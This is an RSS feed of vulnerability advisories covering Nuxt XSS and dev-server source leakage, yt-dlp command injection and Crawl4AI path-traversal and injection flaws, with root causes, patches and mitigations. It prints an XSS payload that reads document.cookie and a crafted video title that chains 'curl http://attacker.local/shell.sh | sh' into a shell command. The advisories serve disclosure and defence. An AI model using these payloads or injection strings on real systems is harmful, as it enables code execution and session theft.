<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title><![CDATA[CVEReports]]></title>
        <description><![CDATA[Latest Vulnerability Reports and Deep Dives]]></description>
        <link>https://cvereports.com</link>
        <image>
            <url>https://cvereports.com/icon</url>
            <title>CVEReports</title>
            <link>https://cvereports.com</link>
        </image>
        <generator>CVEReports Feed Generator</generator>
        <lastBuildDate>Wed, 17 Jun 2026 01:06:45 GMT</lastBuildDate>
        <atom:link href="https://cvereports.com/feed.xml" rel="self" type="application/rss+xml"/>
        <pubDate>Wed, 17 Jun 2026 01:06:45 GMT</pubDate>
        <copyright><![CDATA[All rights reserved 2026]]></copyright>
        <language><![CDATA[en]]></language>
        <managingEditor><![CDATA[team@cvereports.com (CVEReports Team)]]></managingEditor>
        <webMaster><![CDATA[team@cvereports.com (CVEReports Team)]]></webMaster>
        <item>
            <title><![CDATA[GHSA-M3Q2-P4FW-W38M: Cross-Site Scripting (XSS) via Unsafe innerHTML Assignment in Nuxt <NoScript> Component]]></title>
            <description><![CDATA[Unsafe innerHTML assignment in Nuxt's <NoScript> component allows Cross-Site Scripting (XSS) when untrusted dynamic data is interpolated in slots. Historically significant as one of the first zero-days discovered and reported by an AI assistant (Claude).]]></description>
            <link>https://cvereports.com/reports/GHSA-M3Q2-P4FW-W38M</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-M3Q2-P4FW-W38M</guid>
            <category><![CDATA[Nuxt applications using server-side rendering (SSR)]]></category>
            <category><![CDATA[Applications using Nuxt <NoScript> runtime head component with dynamic slot content]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 23:38:47 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-M3Q2-P4FW-W38M/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Nuxt is a high-performance, open-source web framework built on top of Vue.js, optimized for server-side rendering (SSR), static site generation (SSG), and single-page applications. Inside Nuxt applications, managing document head tags (such as title, meta, link, and style tags) is handled dynamically via head runtime components. These components are globally registered and managed by the underlying `@unhead/vue` engine, allowing developers to declaratively configure page metadata directly within their Vue templates. One such component is the `&lt;NoScript&gt;` component, designed to output a `&lt;noscript&gt;` tag that specifies fallback content for users who have disabled JavaScript in their browsers.

The attack surface of this vulnerability lies in the input pipeline of the `&lt;NoScript&gt;` runtime component. While typical Vue.js template interpolations automatically sanitize dynamic values by escaping HTML entities, the internal rendering logic of Nuxt&apos;s head components circumvents this mechanism. When developers render dynamic parameters, query values, or database-derived content directly within the slot of the `&lt;NoScript&gt;` component, the raw string is processed. Because the application exposes an interface where raw input is accepted and transferred to the server&apos;s output response without sanitization, it establishes a classic injection path.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It occurs when user-supplied input is rendered directly into the Document Object Model (DOM) without undergoing appropriate sanitization or escaping. The ultimate impact of this flaw is Cross-Site Scripting (XSS), which enables attackers to execute arbitrary JavaScript within the security context of the victim&apos;s session. Although classified with a low severity rating of 2.3 due to the specific conditions required to trigger it, the weakness exposes applications to session hijacking, credential harvesting, and DOM manipulation.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

To understand the root cause of this vulnerability, one must analyze how Vue compiles slot children and how Nuxt aggregates them. When a developer writes a `&lt;NoScript&gt;` element containing a dynamic expression, the Vue compiler compiles the slot contents as a Virtual DOM text node. The Nuxt `&lt;NoScript&gt;` runtime component, located in `packages/nuxt/src/head/runtime/components.ts`, reads these slot text nodes to construct the final output. The component extracts the content from the children array and inserts it into a local array named `textContent`.

The critical vulnerability is introduced when the component updates the target `noscript` DOM element. Instead of assigning the aggregated plain text to a safe DOM property like `textContent` or `innerText`, the component logic executes an assignment directly to the `innerHTML` property. This function call instructs the browser&apos;s DOM parser to interpret the assigned string as active HTML markup rather than a literal string. Consequently, any HTML elements, including script tags, encoded within the dynamic data are treated as structural HTML instead of plain text, bypassing Vue&apos;s default escaping boundaries.

The behavior of the browser parser upon encountering this injection is dictated by the HTML5 parsing specification, specifically the &quot;in head noscript&quot; insertion mode. When scripting is active in the user&apos;s browser, the parser expects only specific, non-executable elements (such as `&lt;link&gt;`, `&lt;meta&gt;`, and `&lt;style&gt;`) inside a `&lt;noscript&gt;` block located within the `&lt;head&gt;`. If the parser encounters a `&lt;script&gt;` tag within this context, it recognizes an invalid sequence. Under the HTML5 rules, the parser triggers a parse error, immediately closes the parent `&lt;noscript&gt;` element, and then processes the `&lt;script&gt;` tag as a first-class element of the `&lt;head&gt;`, leading to the immediate execution of the injected script.

```mermaid
graph LR
  A[&quot;Unsanitized Parameter&quot;] --&gt; B[&quot;Vue Slot Compilation&quot;]
  B --&gt; C[&quot;NoScript Aggregator&quot;]
  C --&gt; D[&quot;Unsafe innerHTML Sink&quot;]
  D --&gt; E[&quot;Browser HTML Parser (In Head NoScript Mode)&quot;]
  E --&gt; F[&quot;Implicit Close of noscript &amp; Script Execution&quot;]
```

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Analysis and Patch Verification

The file responsible for this vulnerability is `packages/nuxt/src/head/runtime/components.ts`. Within this file, the runtime component `&lt;NoScript&gt;` extracts the content of the children nodes, joins them, and updates the reactive head state. Prior to the security patch, the codebase mapped the compiled slots and committed them using an unsafe assignment to `noscript.innerHTML`. This bypasses standard sanitizer routines and commits raw markup directly into the SSR and client-side tree.

Below is the comparison of the vulnerable codebase against the patched codebase in the runtime components file. The critical change involves switching the target property from `innerHTML` to `textContent`, which forces the runtime to handle the data as a string literal.

```typescript
// Vulnerable Implementation (Pre-Patch)
if (textContent.length &gt; 0) {
  // Unsafely assigning slot content to innerHTML
  noscript.innerHTML = textContent.join(&apos;&apos;)
}

// Patched Implementation (Post-Patch)
if (textContent.length &gt; 0) {
  // Safely assigning slot content to textContent
  noscript.textContent = textContent.join(&apos;&apos;)
}
```

This modification resolves the vulnerability on both the client-side and server-side rendering pipelines. On the client side, assigning to `textContent` ensures that the browser DOM APIs treat the input strictly as text nodes, neutralizing any embedded tag structures. On the server side, when the Unhead library serializes the virtual components into static HTML strings, it processes the `textContent` property by escaping characters such as `&lt;`, `&gt;`, and `&amp;` into their safe HTML entity representations. Consequently, an attacker&apos;s payload is rendered harmlessly as text rather than being parsed as executable tags.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploiting this vulnerability requires a specific but common application pattern where dynamic variables are rendered within the `&lt;NoScript&gt;` component slot. An attacker must first identify a target endpoint that interpolates user-controlled request parameters (such as query strings or route parameters) directly inside the fallback component. Once such an endpoint is found, the attacker can deliver a reflected payload by crafting a malicious URL containing JavaScript tags.

Consider an application that renders a banner value inside the `&lt;NoScript&gt;` tag for SEO fallback purposes. The template structure of the vulnerable page is as follows:

```vue
&lt;template&gt;
  &lt;div&gt;
    &lt;NoScript&gt;
      You are viewing the page with the banner: {{ route.query.banner }}
    &lt;/NoScript&gt;
  &lt;/div&gt;
&lt;/template&gt;
```

An attacker can construct a payload such as `&lt;/noscript&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;` and append it to the banner query parameter. When a victim loads the crafted URL, the server serializes the template, generating raw unescaped HTML within the `&lt;head&gt;` of the page.

When the client&apos;s browser receives the HTTP response containing the raw HTML, the HTML parser processes the document from top to bottom. As the parser enters the `&lt;noscript&gt;` tag within the `&lt;head&gt;`, it operates under the &quot;in head noscript&quot; insertion mode. Upon meeting the injected `&lt;/noscript&gt;` or the raw `&lt;script&gt;` tag, the parser implicitly terminates the `&lt;noscript&gt;` element and instantiates the script block. The browser then executes the embedded JavaScript code in the security context of the vulnerable origin, allowing the attacker&apos;s script to read session tokens or modify the DOM.

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment and Historical Significance

The impact of a successful Cross-Site Scripting attack via the `&lt;NoScript&gt;` component is significant, despite the low CVSS score of 2.3. By executing arbitrary JavaScript in the victim&apos;s browser, an attacker can access sensitive resources, such as session cookies, local storage, and CSRF tokens. This access can facilitate session hijacking, allowing the attacker to masquerade as the authenticated user and execute unauthorized actions on their behalf.

Beyond standard session compromise, XSS inside a framework like Nuxt can lead to sophisticated virtual defacement and phishing attacks. An attacker can dynamically rewrite the DOM, inject fraudulent login forms, or redirect users to malicious third-party sites. Furthermore, since Nuxt runs on both the server and the client, the injection occurs early in the document lifecycle, giving the malicious script full control over subsequent application initialization and state management.

In addition to its technical implications, GHSA-M3Q2-P4FW-W38M holds immense historical significance within the cybersecurity industry. It was discovered and reported to Anthropic&apos;s coordinated vulnerability disclosure pipeline by Claude, Anthropic&apos;s AI assistant. Triaged under reference ANT-2026-4NJYDFFM, this disclosure represents one of the earliest documented instances of a zero-day vulnerability in a major open-source web framework being autonomously identified and reported by a large language model. This milestone highlights the evolving capabilities of artificial intelligence in software security and automated code auditing.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Long-Term Defensive Strategies

The primary remediation strategy for this vulnerability is to upgrade the Nuxt framework to a patched version. For applications running Nuxt 3, the vulnerability is resolved in version 3.21.7. For applications utilizing Nuxt 4, the issue is addressed in version 4.4.7. Upgrading ensures that the underlying `@unhead/vue` components use the safe `textContent` sink, eliminating the vulnerability at the framework level.

In environments where an immediate upgrade is not possible, developers should implement temporary mitigations. The most effective workaround is to avoid dynamic interpolation within the `&lt;NoScript&gt;` slot. Instead of placing variable data directly inside the tag, developers should restrict `&lt;NoScript&gt;` usage to static text messages. Any necessary dynamic content should be sanitized using a library like DOMPurify or converted to entities using Vue&apos;s internal utility functions prior to rendering.

Alternatively, developers can utilize Nuxt&apos;s programmatic configuration via `useHead` to inject fallback elements. Because the programmatic API handles data configuration separately from template slots, it enforces the use of text-safe paths. The following code pattern demonstrates how to safely configure noscript fallbacks programmatically:

```typescript
useHead({
  noscript: [
    { textContent: route.query.banner }
  ]
})
```

By transitioning to programmatic declarations, applications ensure that the rendering engine maps properties to text nodes instead of compiling them as HTML markup.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-49993: Proprietary Source Code Exfiltration via Incomplete Same-Origin Verification in Nuxt Dev Servers]]></title>
            <description><![CDATA[Nuxt dev servers bound to non-loopback interfaces allow headerless cross-origin requests, enabling malicious sites to silently exfiltrate proprietary source code from active local development environments.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-49993</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-49993</guid>
            <category><![CDATA[@nuxt/webpack-builder]]></category>
            <category><![CDATA[@nuxt/rspack-builder]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 23:39:16 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-49993/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Nuxt local development environments leverage hot reloading and build asset transmission, requiring the development server to host compiled source assets. To prevent malicious websites from reading these local builder chunks via cross-origin fetch requests, same-origin verification checks are implemented.

CVE-2026-49993 is an information disclosure vulnerability within the @nuxt/webpack-builder and @nuxt/rspack-builder modules. This flaw permits remote attackers to bypass same-origin checks and exfiltrate proprietary source code.

The vulnerability exists as an incomplete remediation of GHSA-6m52-m754-pw2g and GHSA-4gf7-ff8x-hq99. When the dev server is bound to a non-loopback address, a malicious website can craft a headerless request that bypasses validation.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The same-origin validation mechanism (isSameOriginRequest) includes a fallback branch to permit headerless requests. This fallback exists to support developer utility tools like curl and local hot module replacement processes that do not transmit browser-specific security headers.

If the validation headers Sec-Fetch-Site, Origin, and Referer are completely absent, the middleware assumes the request originates from a trusted non-browser client. An attacker can manipulate web standard behaviors to coerce a victim&apos;s browser into stripping these headers during a cross-origin request.

Standard browser behaviors omit Sec-Fetch-Site when communicating with plain HTTP targets on a physical LAN. The Origin header is dropped during standard, non-CORS script subresource fetches, while the Referer header is suppressed using a no-referrer policy.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

In the vulnerable implementation, the same-origin validation utility allowed requests instantly if both the origin and referrer headers were absent. The middleware evaluated if (!initiator) return true; without verifying the host binding configuration.

The corrected implementation introduces a host validation routine isLoopbackHost to check if the incoming Host header corresponds to a local loopback address. If the initiator is absent, the middleware now returns the result of this loopback validation.

```typescript
// Patch implemented in Pull Request #35200
const LOOPBACK_HOSTNAMES = new Set([&apos;localhost&apos;, &apos;127.0.0.1&apos;, &apos;::1&apos;])

function isLoopbackHost (host: string | undefined): boolean {
  if (!host) { return false }
  const withoutPort = host.replace(/:\d+$/, &apos;&apos;)
  const hostname = withoutPort.replace(/^\([|]\)$/g, &apos;&apos;).toLowerCase()
  return LOOPBACK_HOSTNAMES.has(hostname)
}

export function isSameOriginRequest (req: { headers: Record&lt;string, string | string[] | undefined&gt; }): boolean {
  const site = firstHeader(req.headers[&apos;sec-fetch-site&apos;])
  if (site !== undefined) {
    return site === &apos;same-origin&apos; || site === &apos;none&apos;
  }

  const initiator = firstHeader(req.headers.origin) || firstHeader(req.headers.referer)
  if (!initiator) {
    // Only allow header-less requests if bound to loopback
    return isLoopbackHost(firstHeader(req.headers.host))
  }

  try {
    return new URL(initiator).host === firstHeader(req.headers.host)
  } catch {
    return false
  }
}
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

The attack relies on a developer hosting their local Nuxt application bound to a non-loopback network interface. An attacker on the local network or a public web resource targets the developer&apos;s LAN-exposed dev server IP address.

The attacker lures the developer to a malicious site that initiates a cross-origin script load. By setting referrerpolicy=&quot;no-referrer&quot; on the script tag and requesting the main JavaScript entry point from the LAN IP, the browser suppresses all validation headers.

When the browser executes the loaded chunk, the malicious parent page executes introspection techniques against the global Webpack or Rspack registry. The payload serializes the loaded components via Function.prototype.toString() and exfiltrates the source code to a remote endpoint.

```mermaid
graph LR
  A[&quot;Attacker Website&quot;] --&gt;|1. Coerce Headerless Load| B[&quot;Victim Browser&quot;]
  B --&gt;|2. Request script without Referer/Origin| C[&quot;Nuxt Dev Server (LAN IP)&quot;]
  C --&gt;|3. Fallback permits headerless request| B
  B --&gt;|4. Introspect chunk memory| A
```

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

A successful exploit allows the complete exfiltration of proprietary client-side and server-side source code compiled during the dev session. Attackers gain access to structural configuration details, application logic, and potentially embedded hardcoded credentials.

The CVSS v3.1 score is evaluated at 5.7, indicating a medium severity rating. This reflects the requirement for user interaction and network adjacency, despite the high confidentiality compromise.

Since this is an unauthenticated client-side exfiltration vector, it operates as a silent attack mechanism. The victim developer is not notified of the memory introspection and subsequent transmission of the source code assets.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation &amp; Hardening

The primary resolution requires upgrading the @nuxt/webpack-builder and @nuxt/rspack-builder dependencies. The framework maintainers patched this issue in versions 3.21.7 and 4.4.7.

When upgrading is not feasible, developers must avoid binding development instances to non-loopback interfaces. Running servers via nuxt dev --host exposes the application to adjacent network threats and headerless exploitation.

Additional protection is achieved by leveraging browser profiles that enforce strict Local Network Access (LNA) validation. Isolating development sessions from general web browsing limits the exposure of local ports to external websites.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-69QJ-PVH9-C5WG: Command Injection in yt-dlp `--exec` Option]]></title>
            <description><![CDATA[Unsafe metadata interpolation in yt-dlp's post-processor allows remote command execution when downloading maliciously crafted media links with custom command execution templates.]]></description>
            <link>https://cvereports.com/reports/GHSA-69QJ-PVH9-C5WG</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-69QJ-PVH9-C5WG</guid>
            <category><![CDATA[yt-dlp command-line downloader utility]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 22:29:14 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-69QJ-PVH9-C5WG/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The command-line downloader utility `yt-dlp` contains an OS command injection vulnerability within its post-processing execution pipeline. This vulnerability exists in versions starting from `2021.04.11` and was resolved in version `2026.06.09`. The affected component involves the handling of external command templates provided via the `--exec` argument, which allows users to execute external system processes automatically after downloading media assets.

Under normal operations, users specify command templates that dynamically reference downloaded media metadata such as video titles, descriptions, or file paths. However, prior to version `2026.06.09`, `yt-dlp` did not restrict or validate the use of unsafe string interpolation conversion specifiers within these templates. Consequently, when untrusted metadata supplied by an attacker-controlled remote media server is parsed using an unsafe formatter, arbitrary operating system commands can be injected directly into the executing shell environment.

The exposure is critical for automated systems, media processing pipelines, and end users who run `yt-dlp` with customized or default `--exec` command templates. Because the tool supports downloading from hundreds of third-party platforms, an attacker who can manipulate the metadata of a hosted media file can achieve remote command execution on the client host when the client downloads the asset using an insecurely formatted `--exec` command.

To remediate this issue, maintainers implemented a safe verification interface inside the templating engine. This implementation isolates command execution operations from generic output formatting tasks, enforcing a whitelist of safe format options that prevent string-level shell escape bypasses.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of this vulnerability lies in the improper neutralization of formatting string structures before they are executed in shell subprocess contexts. The `yt-dlp` utility uses a custom parsing wrapper around Python&apos;s `printf`-style string formatting mechanism to substitute metadata variables into template strings. In `yt-dlp`, this substitution is coordinated via the `YoutubeDL.prepare_outtmpl` method and the `ExecPP` (Execute Post-Processor) class located in `yt_dlp/postprocessor/exec.py`.

When executing commands, the method `parse_cmd` resolves template parameters using the target video&apos;s metadata map. In vulnerable versions, the application called `prepare_outtmpl` without indicating that the resulting string was destined for an interactive shell context. As a result, standard string interpolation conversions such as `%()s`, `%()a`, `%()r`, and `%()j` were expanded using raw, unescaped string representations directly from the media info dictionary.

Because the final command is passed to a system shell execution helper, such as a subprocess wrapper running with shell parsing enabled, the presence of standard shell metacharacters (including semicolons, ampersands, backticks, or vertical pipes) alters the command stream. The shell interprets these characters as command separators or subprocess execution directives rather than literal text, leading to the execution of arbitrary shell command sequences within the privileges of the running application process.

```mermaid
graph LR
  A[&quot;Malicious Video Metadata&quot;] --&gt; B[&quot;Unsafe String Interpolation %()s&quot;]
  B --&gt; C[&quot;Shell Command Construction&quot;]
  C --&gt; D[&quot;Host OS Shell Execution&quot;]
```

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Analysis

Analyzing the vulnerable code path inside `yt_dlp/postprocessor/exec.py` highlights the lack of validation. In pre-patched versions, the class `ExecPP` handles template substitution via `parse_cmd`:

```python
# Vulnerable Implementation
def parse_cmd(self, cmd, info):
    tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)
    if tmpl_dict:
        # RAW string formatting is applied directly
        return self._downloader.escape_outtmpl(tmpl) % tmpl_dict
    return cmd
```

In the patched code, the system introduces context enforcement by adding an explicit boolean parameter `_exec` to `prepare_outtmpl`. Additionally, it introduces strict validation during the initialization of the `ExecPP` instance to ensure that any custom templates do not contain unsafe conversion specifiers:

```python
# Patched Implementation inside YoutubeDL.py
# Only specific conversions (d, i, f, q) are allowed in execution context
SAFE_EXEC_CONVERSIONS = &apos;difq&apos;
UNSAFE_DEFAULT_CHARS = &apos;&quot;\&apos; \n\t;&amp;|^$%*&lt;&gt;{}()[]`#\\&apos;

# Validation check enforced during preparation:
if _exec:
    if fmt[-1] not in SAFE_EXEC_CONVERSIONS:
        raise UnsafeExecExpansionError(f&apos;Unsafe conversion(s) in exec command: {outtmpl!r}&apos;)
    elif any(unsafe_char in default for unsafe_char in UNSAFE_DEFAULT_CHARS):
        if default == na:
            raise UnsafeExecExpansionError(f&apos;Unsafe placeholder for exec command: {na!r}&apos;)
        else:
            raise UnsafeExecExpansionError(f&apos;Unsafe default(s) in exec command: {outtmpl!r}&apos;)
```

This modification ensures that if a user executes `--exec` with an unsafe converter like `%()s`, the application immediately raises an `UnsafeExecExpansionError` and terminates. The only valid string formatting specifier allowed for string values becomes `%()q`, which guarantees the value is safely wrapped in shell-escaping quotes before concatenation.

The implementation also proactively validates custom command formats when `set_downloader` is registered in `ExecPP`. By checking the commands during initialization rather than waiting for processing to occur, the software detects unsafe configurations immediately upon launch, terminating the execution thread before external resources are requested or retrieved from remote host targets.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

To exploit this vulnerability, an attacker must first locate or host a media resource on a platform supported by `yt-dlp`. The attacker manipulates the metadata fields returned by the platform&apos;s API—such as the video title, uploader name, or description—to contain shell metacharacters and payload commands. For example, the attacker might change the title of a video to: `video; curl http://attacker.local/shell.sh | sh #`.

The second prerequisite is that the victim must run `yt-dlp` using a vulnerable `--exec` command syntax that relies on raw string interpolation. A typical vulnerable CLI invocation resembles the following command:

```bash
yt-dlp &quot;https://example.com/malicious-video&quot; --exec &quot;echo %(title)s&quot;
```

When `yt-dlp` processes this download, the extractor retrieves the malicious metadata. During the post-processing phase, `ExecPP` parses the command template. Because `%()s` is utilized, the application substitutes the raw title directly. The resulting command string generated is `echo video; curl http://attacker.local/shell.sh | sh #`. When this is passed to the OS shell, the shell executes the `echo video` command, followed immediately by the injected `curl` command, which downloads and runs the shell script in the context of the user running `yt-dlp`.

A mock python unit-test script demonstrates this flow using mocked states to trigger process creation without requesting actual remote assets. The script configures the target dictionary to include semicolons and hashtags, proving that standard subprocess execution commands execute side-channel payloads on disk, confirming arbitrary write capability and file creation.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment

The security impact of this vulnerability is classified as high. Successful exploitation grants the attacker arbitrary remote command execution on the victim&apos;s machine. The executed commands run with the exact privileges of the operating system user executing `yt-dlp`.

If the tool is executed within an automated containerized environment, an automated media ingestion server, or with administrative privileges, the attacker can leverage the command execution to gain a persistent shell, access internal database credentials, or move laterally within the hosting infrastructure.

The vulnerability has been assigned a CVSS v3.1 base score of 7.5. The score is limited because of high attack complexity, as the exploit requires the victim to specify a command execution template utilizing unsafe conversion characters. However, because configuration files are often shared or stored statically within deployment templates, widespread corporate exposure remains a significant risk if default templates are not updated.

Because the execution is not restricted to local network structures and can be initiated simply by submitting a crafted link to an automated processing microservice, the bug presents a direct threat to back-end media scrapers, archive engines, and metadata crawlers that programmatically handle custom post-processing arguments.

{/* icon: shield */}
{/* type: mitigation */}
## Mitigation &amp; Remediation

The primary and recommended mitigation is upgrading the `yt-dlp` package to version `2026.06.09` or later. This version enforces strict template validation and rejects execution configurations that use insecure interpolation converters. If the package is deployed via Python&apos;s package manager, execute the following command to update:

```bash
pip install --upgrade yt-dlp
```

If upgrading is not immediately possible in production environments, teams must review and audit all existing scripts, configuration files, and cron jobs. Ensure that any `--exec` commands utilize shell-quoted string formatting placeholders exclusively. Replace all instances of unsafe converters such as `%()s` or `%()j` with the secure shell-quoted converter `%()q`:

```bash
# Secure implementation using the q (quoted) format specifier
yt-dlp &quot;URL&quot; --exec &quot;echo %(title)q&quot;
```

Additionally, administrators must ensure that the legacy compatibility flag `--compat-options allow-unsafe-exec-expansion` is never supplied to the executable. This flag explicitly disables the security checks introduced in the patch and leaves the system vulnerable to command injection.

Finally, when designing system-level automation scripts, developers should avoid invoking system shells directly. Where possible, process executions should accept explicit argument arrays rather than raw string representations, minimizing exposure to downstream argument manipulation or shell injection techniques.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-7CX2-G3H9-382P: Multiple Vulnerabilities in Crawl4AI Docker API (Arbitrary File Write, SSRF, CRLF Log Injection)]]></title>
            <description><![CDATA[Crawl4AI <= 0.8.7 suffers from path traversal via symlink resolution bypasses, leading to arbitrary file write and potential RCE. It also lacks validation for log streams and webhook headers, allowing log manipulation and request smuggling. Version 0.8.8 addresses these issues.]]></description>
            <link>https://cvereports.com/reports/GHSA-7CX2-G3H9-382P</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-7CX2-G3H9-382P</guid>
            <category><![CDATA[Crawl4AI self-hosted Docker API server deployments <= 0.8.7]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 21:02:19 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-7CX2-G3H9-382P/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The self-hosted Docker API server deployment of Crawl4AI (`crawl4ai`) provides high-performance web crawling capabilities designed to ingest web pages for Large Language Model (LLM) and Retrieval-Augmented Generation (RAG) ingestion pipelines.\n\nTo allow users to retrieve rendered visual assets, the API endpoints `/screenshot` and `/pdf` accept an optional parameter named `output_path`. This parameter determines where generated output files are saved on the filesystem of the container.\n\nIn Crawl4AI version 0.8.7 and earlier, the path containment checks and request parameter validations were insufficient to protect the host filesystem. This technical report details a primary Arbitrary File Write vulnerability via symlink-following and Time-of-Check to Time-of-Use (TOCTOU) weaknesses, alongside concurrent CRLF Log Injection, Webhook Request-Header Injection, and Server-Side Request Forgery (SSRF) bypasses.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The primary vulnerability stems from an insecure validation implementation within the `validate_output_path()` function in `deploy/docker/utils.py`. The function was designed to prevent path traversal (CWE-22) by checking whether the target path resolved within the `ALLOWED_OUTPUT_DIR`. However, in version 0.8.7, this validation only performed a literal string-based comparison using Python&apos;s `startswith()` method.\n\nBecause the function did not resolve underlying symbolic links (symlinks) using `os.path.realpath`, it permitted path components that pointed to symlinks. An attacker who could create or reference a symlink inside the `ALLOWED_OUTPUT_DIR` (pointing to an external directory like `/etc/cron.d` or `/usr/local/bin`) could bypass containment. The string representation of the target path (e.g., `outputs/symlink_dir/malicious_file`) started with the allowed prefix, but the subsequent write operation would follow the symlink, writing the output directly to the external target.\n\nFurthermore, the file creation process was vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition. Because files were opened using standard `open(..., &apos;wb&apos;)` modes without defensive flags like `O_NOFOLLOW`, the filesystem would unquestioningly resolve symlinks at the moment of file output, even if the destination was checked right before. Concurrently, the Webhook component was vulnerable to CRLF Injection (CWE-93/CWE-113) because arbitrary custom headers from the request body were forwarded to outgoing HTTP requests without character sanitization.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

To understand the exact changes made to remediate these flaws, consider the diff of `deploy/docker/utils.py`. The vulnerable containment check in version 0.8.7 was strictly string-based:\n\n```python\n# Vulnerable implementation in 0.8.7\nif not abs_path.startswith(abs_allowed):\n    raise HTTPException(...)\n```\n\nThis code failed to resolve symbolic links. In the patched version 0.8.8, the validation was hardened to resolve the physical path recursively using `os.path.realpath()` on the parent directory before verifying containment:\n\n```python\n# Hardened implementation in 0.8.8\nreal_parent = os.path.realpath(os.path.dirname(abs_path))\nreal_path = os.path.join(real_parent, os.path.basename(abs_path))\nstring_ok = abs_path.startswith(abs_allowed)\nreal_ok = (real_path + os.sep).startswith(abs_allowed)\nif not (string_ok and real_ok):\n    raise HTTPException(status_code=400, detail=&quot;output_path must resolve within allowed dir&quot;)\n```\n\nTo address the TOCTOU symlink following vulnerability, a new writing function, `write_output_file()`, was introduced. This function leverages file descriptor flags including `os.O_NOFOLLOW` to actively block symlink resolution at the final target component:\n\n```python\ndef write_output_file(abs_path: str, data: bytes) -&gt; None:\n    os.makedirs(os.path.dirname(abs_path), exist_ok=True)\n    flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC | getattr(os, &quot;O_NOFOLLOW&quot;, 0)\n    fd = os.open(abs_path, flags, 0o600)\n    with os.fdopen(fd, &quot;wb&quot;) as f:\n        f.write(data)\n```\n\nAdditionally, the log injection vulnerability (CWE-117) was remediated by registering a `CRLFSafeFilter` that strips carriage returns, newlines, and non-tab control characters from all logged records. Webhook security was hardened by adding a strict regular expression validator `sanitize_webhook_headers()` that blocks restricted headers (such as `Host` or `Cookie`) and prevents CRLF sequences in header names or values.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

